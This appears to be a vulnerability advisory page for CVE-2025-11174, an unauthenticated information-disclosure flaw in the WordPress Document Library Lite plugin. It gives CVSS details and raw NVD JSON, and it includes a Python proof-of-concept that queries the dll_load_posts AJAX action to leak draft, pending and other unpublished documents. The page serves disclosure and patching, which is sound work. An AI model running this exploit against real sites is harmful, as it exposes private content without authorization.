Security Vulnerability Report
中文
CVE-2025-11174 CVSS 5.3 MEDIUM

CVE-2025-11174

Published: 2025-11-01 02:15:32
Last Modified: 2026-04-15 00:35:42

Description

The Document Library Lite plugin for WordPress is vulnerable to Improper Authorization in all versions up to, and including, 1.1.6. This is due to the plugin exposing an unauthenticated AJAX action dll_load_posts which returns a JSON table of document data without performing nonce or capability checks. The handler accepts an attacker-controlled args array where the status option explicitly allows draft, pending, future, and any. This makes it possible for unauthenticated attackers to retrieve unpublished document titles and content via the AJAX endpoint.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Document Library Lite plugin for WordPress <= 1.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-11174 PoC - Unauthenticated Document Disclosure # Target: WordPress with Document Library Lite plugin < 1.1.6 target_url = "http://target-site.com/wp-admin/admin-ajax.php" # PoC 1: Retrieve draft documents payload_draft = { "action": "dll_load_posts", "args": json.dumps({ "status": "draft", "per_page": 100, "page": 1 }) } # PoC 2: Retrieve pending review documents payload_pending = { "action": "dll_load_posts", "args": json.dumps({ "status": "pending", "per_page": 100, "page": 1 }) } # PoC 3: Retrieve all documents including unpublished payload_any = { "action": "dll_load_posts", "args": json.dumps({ "status": "any", "per_page": 100, "page": 1 }) } def exploit(payload, description): """Send malicious request to leak unpublished documents""" try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] {description}") print(f" Retrieved {len(data.get('data', []))} documents") # Extract document titles for item in data.get('data', [])[:5]: print(f" - {item.get('title', 'N/A')}") else: print(f"[-] Request failed with status {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") # Execute PoCs if __name__ == "__main__": print("CVE-2025-11174 - Document Library Lite Unauthorized Access") print("=" * 60) exploit(payload_draft, "Retrieving DRAFT documents") exploit(payload_pending, "Retrieving PENDING documents") exploit(payload_any, "Retrieving ALL documents (including unpublished)") print("\n[!] This PoC demonstrates the ability to access unpublished content") print("[!] Patch: Upgrade to Document Library Lite >= 1.1.7")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11174", "sourceIdentifier": "[email protected]", "published": "2025-11-01T02:15:31.847", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Document Library Lite plugin for WordPress is vulnerable to Improper Authorization in all versions up to, and including, 1.1.6. This is due to the plugin exposing an unauthenticated AJAX action dll_load_posts which returns a JSON table of document data without performing nonce or capability checks. The handler accepts an attacker-controlled args array where the status option explicitly allows draft, pending, future, and any. This makes it possible for unauthenticated attackers to retrieve unpublished document titles and content via the AJAX endpoint."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/document-library-lite/tags/1.1.5/src/Simple_Document_Library.php#L492", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/document-library-lite/tags/1.1.5/src/Table/Ajax_Handler.php#L23", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/document-library-lite/tags/1.1.5/src/Table/Ajax_Handler.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3385033/document-library-lite/trunk/src/Table/Ajax_Handler.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2b73d48a-1f10-4e47-a18f-82a3103b72bd?source=cve", "source": "[email protected]"}]}}